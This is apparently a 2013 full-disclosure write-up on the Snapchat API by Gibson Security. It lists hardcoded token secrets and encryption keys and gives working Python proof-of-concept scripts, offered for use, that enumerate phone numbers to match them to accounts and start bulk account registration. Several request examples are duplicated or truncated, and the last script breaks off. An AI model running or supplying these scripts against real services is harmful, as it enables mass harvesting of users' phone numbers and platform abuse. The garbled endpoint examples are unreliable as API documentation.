Foreword and notes

Given that it's been around four months since our last Snapchat release, we figured we'd do a refresher on the latest version, and see which of the released exploits had been fixed (full disclosure: none of them). Seeing that nothing had been really been improved upon (although, stories are using AES/CBC rather than AES/ECB, which is a start), we decided that it was in everyone's best interests for us to post a full disclosure of everything we've found in our past months of hacking the gibson.

In the time since our previous release, there have been numerous public Snapchat api clients created on GitHub. Thankfully, Snapchat are too busy declining ridiculously high offers from Facebook and Google, and lying to investors (hint: they have no way to tell the genders of their users, see /bq/register for a lack of gender specification) to send unlawful code takedown requests to all the developers involved.

As always, we're contactable via @gibsonsec and [email protected]. Merry Gibsmas!

This documentation is based on the current build (4.1.01 at the time of writing 23-12-2013) of Snapchat for Android. The Android app uses a mixture of /ph and /bq endpoints - the iOS app is pure /bq, but we haven't documented them all, sorry!

You can use api.snapchat.com, feelinsonice.appspot.com or feelinsonice-hrd.appspot.com as hosts for the API endpoints - they're all the same address at the end of the day.

The documentation may be broken, incomplete, outdated or just plain wrong. We try our best to keep things valid as much as possible, but we're only human after all.

NB! As of the current time of writing, there are two unknown reply fields scattered around the API responses. These are marked with an N/A - explanations welcome to [email protected]. Fields with an asterisk after them (e.g: zipped*) means it's an optional field.

Authentication tokens

Authentication with Snapchat's API is done via a token sent in each request under the name req_token.

In general, it is a combination of two hashes (each salted with the secret), as defined by a specific pattern. You'll be using your normal auth_token for most requests - a few require a static token, which we'll get to in a bit.

Here is some example Python that implements the secret req_token hash:

def request_token(auth_token, timestamp):
    secret = "iEk21fuwZApXlz93750dmW22pw389dPwOk"
    pattern = "0001110111101110001111010101111011010001001110011000110001000110"
    first = hashlib.sha256(secret + auth_token).hexdigest()
    second = hashlib.sha256(str(timestamp) + secret).hexdigest()
    bits = [first[i] if c == "0" else second[i] for i, c in enumerate(pattern)]
    return "".join(bits)


# Here's a benchmark to make sure your implementation works:
#  >>> request_token("m198sOkJEn37DjqZ32lpRu76xmw288xSQ9", 1373209025)
#  '9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b'
  • Things to note:
  • The secret is iEk21fuwZApXlz93750dmW22pw389dPwOk
  • You need two sha256 hashes.
    1. secret + auth_token
    2. timestamp + secret
  • The pattern is 0001110111101110001111010101111011010001001110011000110001000110
    • 0 means take a character from hash 1 at the point.
    • 1 means take a character from hash 2 at the point.

To create a request token (which you will need for 90% of requests), you need to:

  • Take the auth_token you got from logging in
  • Take the current timestamp (epoch/unix timestamp) which you'll need for the req_token and inclusion in the request.
  • Run request_token(auth_token, timestamp)
  • Include it in your request!

If you're logging in, you won't have an auth_token yet. Not to fear!

  • Take the static token, m198sOkJEn37DjqZ32lpRu76xmw288xSQ9
  • Take the current timestamp
  • Run request_token(static_token, timestamp)
  • Include it in your request!

Common fields

There are a few fields that are common to most requests and responses:

Requests:

Field name Type Explanation
username str The username of the logged in account.
req_token str See: Creating request tokens
timestamp int The unix timestamp of the request - can be arbitrary.

Responses:

Field name Type Explanation
logged bool This is usually indicative of whether or not your response was successful.

Encrypting/decrypting data

  • All standard media (read: picture and video) data sent to Snapchat is:
  • Padded using PKCS#5.
  • Encrypted using AES/ECB with a single synchronous key: M02cnQ51Ji97vwT4
  • Stories are:
  • Padded using PKCS#7.
  • Encrypted using AES/CBC with a unique IV and key per piece of the story (i.e, there isn't a single key/IV you can use).
    • You can find a media_key and media_iv deep within the return values of a request to /bq/stories.
  • The server does the AES/CBC encryption - segments are sent to the server using the normal AES/ECB (M02c..) encryption.
    • StoryEncryptionAlgorithm#encrypt just calls SnapEncryptionAlgorithm#encrypt.

Here's a rough idea of how to decrypt them:

# To find `media_key` and `media_iv`, see: /bq/stories documentation
import requests
import base64
import mcrypt

res = requests.post(...)  # POST /bq/stories and ensure res is a dict.
data = requests.get(...)  # GET /bq/story_blob?story_id=XXXXX from result
key = base64.b64decode(res[...]["media_key"])
iv = base64.b64decode(res[...]["media_iv"])

m = mcrypt.MCRYPT("rijndael-128", "cbc")
m.init(key, iv)
dedata = m.decrypt(data)  # Boom.

Index of constants

These are just some constants you'll undoubtedly come across working with Snapchat.

- static_token
`m198sOkJEn37DjqZ32lpRu76xmw288xSQ9`
Used to create a req_token to log in to an account.

- ENCRYPT_KEY_2
`M02cnQ51Ji97vwT4`
Used to encrypt/decrypt standard snap data (using AES/ECB)

- req_token pattern
`0001110111101110001111010101111011010001001110011000110001000110`
Used to create a valid req_token. `0` means $hash1, `1` means $hash2.
Where: $hash1 = sha256(secret + auth_token) and
       $hash2 = sha256(timestamp + secret)

- req_token secret
`iEk21fuwZApXlz93750dmW22pw389dPwOk`
Used to salt the hashes used in generating req_tokens.

- various media types:
IMAGE = 0
VIDEO = 1
VIDEO_NOAUDIO = 2
FRIEND_REQUEST = 3
FRIEND_REQUEST_IMAGE = 4
FRIEND_REQUEST_VIDEO = 5
FRIEND_REQUEST_VIDEO_NOAUDIO = 6

- various media states:
NONE = -1
SENT = 0
DELIVERED = 1
VIEWED = 2
SCREENSHOT = 3

- Snapchat's User-agent:
`Snapchat/<snapchat-build> (<phone-model>; Android <build-version>; gzip)`
e.g.: `Snapchat/4.1.01 (Nexus 4; Android 18; gzip)`

This isn't constant per se, but you should send it in your requests anyway.
Get the Android build version from here: http://developer.android.com/reference/android/os/Build.VERSION_CODES.html (18 is Jelly Bean 4.3, for example)
NB! Snapchat will fake the `<snapchat-build>` as `3.0.2` if it can't figure out its own build. So you can use that if you'd like.

Gzipping data

NB! We're sort of hazy on the details and specifics of when you can and can't send gzipped data. Some endpoints appear to support it, others don't. We tried various combinations of encryption, gzipping and other combinations thereof, but got inconsistent results. Your mileage may vary.

Specific fields (mainly snap upload related, as expected) are sent gzipped (if it's supported). This means, where you see a data field, you can sometimes (it's inconsistent) gzip the data, send it as data and set zipped: 1 (note: it's still encrypted prior to gzipping).

How you gzip data will vary in your language, but in Python, it's as easy as:

from StringIO import StringIO
import gzip

zipped = StringIO()
gz = gzip.GzipFile(fileobj=zipped, mode="w")
gz.write(encrypted_snap_data)
gz.close()

# Send this as `data`, with `zipped: 1`:
gzdata = zipped.getvalue()

Field name Type Explanation
req_token str See: Creating request tokens
timestamp int See: Common fields
username str See: Common fields
json dict See: Sending updates (/bq/update_snaps)
events list See: Sending updates (/bq/update_snaps)

If your request was successful, you'll get back a 200 OK with no body content.
Doing this makes your authentication token stale - you can't reuse it.

Fetching snap data (/ph/blob) 

{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    id: "97117373178635038r"
}
Field name Type Explanation
username str See: Common fields
timestamp int See: Common fields
req_token str See: Creating request tokens
id int The id attached to the snap we're interested in.

If your request is successful, you will get 200 OK followed by the blob data for the snap you requested:

  • The returned blob is encrypted. See: Encrypting/decrypting data
  • Once decrypted, images will start with \xFF\xD8\xFF\xE0 - almost always JPEG.
  • Once decrypted, videos will start with \x00\x00\x00\x18 - almost always MPEG-4.
  • PNG (\x89PNG) and GIF (GIF8) are uncommon but can be sent by custom clients, as they appear to display correctly.

Your request may be met with 410 Gone if you requested an image that:

Uploading and sending snaps (/ph/upload, /ph/send)

Sending snaps are done in two parts - you upload the media, then tell Snapchat who to send it to.

{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221)
    media_id: "YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f",
    type: 0,
    data: ENCRYPTED_SNAP_DATA
}
Field name Type Explanation
username str See: Common fields
timestamp int See: Common fields
req_token str See: Creating request tokens
media_id str A unique identifier for this media - Snapchat uses a UUID.
type int The type of media you're uploading - 0 for images, 1 for videos
data data The encrypted media data.

If your request was successful, you'll get a 200 OK with no body content.
NB! You need to store the media_id to use in /ph/send.

{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),
    media_id: "YOURACCOUNT~9c0b0193-de58-4b8d-9a09-60039648ba7f",

    zipped: "0"
}
Field name Type Explanation
username str See: Common fields
timestamp int See: Common fields
req_token str See: Creating request tokens
media_id str A unique identifier for this media - Snapchat uses a UUID.
recipient str A comma delimited list of recipients - e.g. teamsnapchat,someguy
time int An integer, 1-10 inclusive of how long the snap will display for.
zipped* str 0 or 1, indicating whether or not the data is gzipped.

If your request was successful, you'll get a 200 OK with no body content.

/ph/retry is much like a combined endpoint for /ph/upload and /ph/send.

{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),

{
    username: "youraccount",
    timestamp: 1373207221,
    req_token: create_token(auth_token, 1373207221),

    caption_text_display: "Foo, bar, baz!",
    thumbnail_data: ENCRYPTED_THUMBNAIL_DATA,
    zipped: "0",
    type: 0,
    time: 10
}
Field name Type Explanation
username str See: Common fields
timestamp int See: Common fields
req_token str See: Creating request tokens
media_id str A unique identifier for this media - Snapchat uses a UUID.
client_id str A unique client identifier - the same as the given media_id.
caption_text_display str Some form of caption - doesn't seem to be honored/rendered by the receiving client.

Obligatory exploit POCs

What would our full disclosure be if not tied together with some obligatory proof of concept scripts? We've taken some of our favorite exploits and turned them into lovely POC scripts for you to tinker with and hack to your heart's content.

This is one of our personal favorites since it's just so ridiculously easy to exploit. A single request (once logged in, of course!) to /ph/find_friends can find out whether or not a phone number is attached to an account.

This is one of the things we initially wrote about in our previous release, approximately four months ago (at the time of writing)! They've yet to add any rate limiting to this, so we thought we'd add a non-watered down version of the exploit to this release; maybe Evan Spiegel will fix it when someone finds his phone number via this?

We did some back-of-the-envelope calculations based on some number crunching we did (on an unused range of numbers). We were able to crunch through 10 thousand phone numbers (an entire sub-range in the American number format (XXX) YYY-ZZZZ - we did the Z's) in approximately 7 minutes on a gigabit line on a virtual server. Given some asynchronous optimizations, we believe that you could potentially crunch through that many in as little as a minute and a half (or, as a worst case, two minutes). This means you'd be railing through as many as 6666 phone numbers a minute (or, in our worst case, 5000!).

Using the reported 8 million users in June as a rough estimate for Snapchat's user base (however, it will have undoubtedly exponentially grown since then), we can do some rough calculations on how long it would take to crunch through all of Snapchat's user base (clarification: we mean how long it would take to crunch through 8 million American numbers, seeing as it's still hit and miss):

Given user_base = 8,000,000, and a numbers crunchable per minute (ncpm) of approximately 6666, we can assume that it would take approximately 20 hours for one $10 virtual server to eat through and find every user's phone number (hours = user_base / (ncpm*60)). At our worst case of ncpm = 5000, it would take approximately 26.6 hours.

This is all assuming that user's phone numbers are:

  • All incremental (e.g. (000) 000-0000, (000) 000-0001, ...)
  • All American.

Evidently (fortunately?) this is not the case, however, it's sort of scary to think about, isn't it? Hopping through the particularly "rich" area codes of America, potential malicious entities could create large databases of phone numbers -> Snapchat accounts in minutes.

In an entire month, you could crunch through as many as 292 million numbers with a single server ((ncpm*60)*730, approximately 730 hours in a month). Add more servers (or otherwise increase your number crunching capabilities) and you can get through a seemingly infinite amount of numbers. It's unlikely Snapchat's end would ever be the bottleneck in this, seeing as it's run on Google App Engine, which (as we all know) is an absolute tank when it comes to handling load.

The following script will simply read a list of numbers from stdin, iterate through them and write any results to stdout.
Use it like: python2 find_friends.py $username $password < numbers.txt > results.txt

#!/usr/bin/env python2
# python2 find_friends.py $username $password < numbers.txt > results.txt
import requests
import hashlib
import json
import sys

def request_token(auth_token, timestamp):
    secret = "iEk21fuwZApXlz93750dmW22pw389dPwOk"
    pattern = "0001110111101110001111010101111011010001001110011000110001000110"
    first = hashlib.sha256(secret + auth_token).hexdigest()
    second = hashlib.sha256(str(timestamp) + secret).hexdigest()
    bits = [first[i] if c == "0" else second[i] for i, c in enumerate(pattern)]
    return "".join(bits)

numbers = sys.stdin.read().split("\n")
base = "https://feelinsonice.appspot.com"

r = requests.post(base + "/bq/login", data={
    # These are hardcoded, just because it's easy.
    "req_token": "9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b",
    "timestamp": 1373209025,
    "username": sys.argv[1],
    "password": sys.argv[2]
}, headers={"User-agent": None})
auth_token, username = r.json()["auth_token"], r.json()["username"]

# We can hardcode these as well.
static = {"req_token": request_token(auth_token, 1373209025), "countryCode": "US", "timestamp": 1373209025, "username": username}

for number in numbers:
    n = json.dumps({number: "J. R. Hacker"})
    r = requests.post(base + "/ph/find_friends", data=dict(static, numbers=n), headers={"User-agent": None}).json()
    if len(r["results"]) < 1:
        continue
    sys.stdout.write("{0} -> {1}\n".format(number, r["results"][0]["name"]))
    sys.stdout.flush()

This isn't so much of an exploit as taking advantage of the really lax registration functionality. Two requests, /bq/register and /ph/registeru can give you an account.

This script reads a list of accounts from stdin, attempts to register them, then prints the valid registered accounts to stdout. Format your account list like this:

account1:password1:[email protected]
account2:password2:[email protected]
account3:password3:[email protected]
... ad infinitum

Use it like: python2 bulk_register.py < accounts.txt > registered.txt

#!/usr/bin/env python2
# python2 bulk_register.py < accounts.txt > registered.txt
# format accounts.txt like `username:password:email`
import requests
import sys

base = "https://feelinsonice.appspot.com"

    reg = requests.post(base + "/bq/register", data={
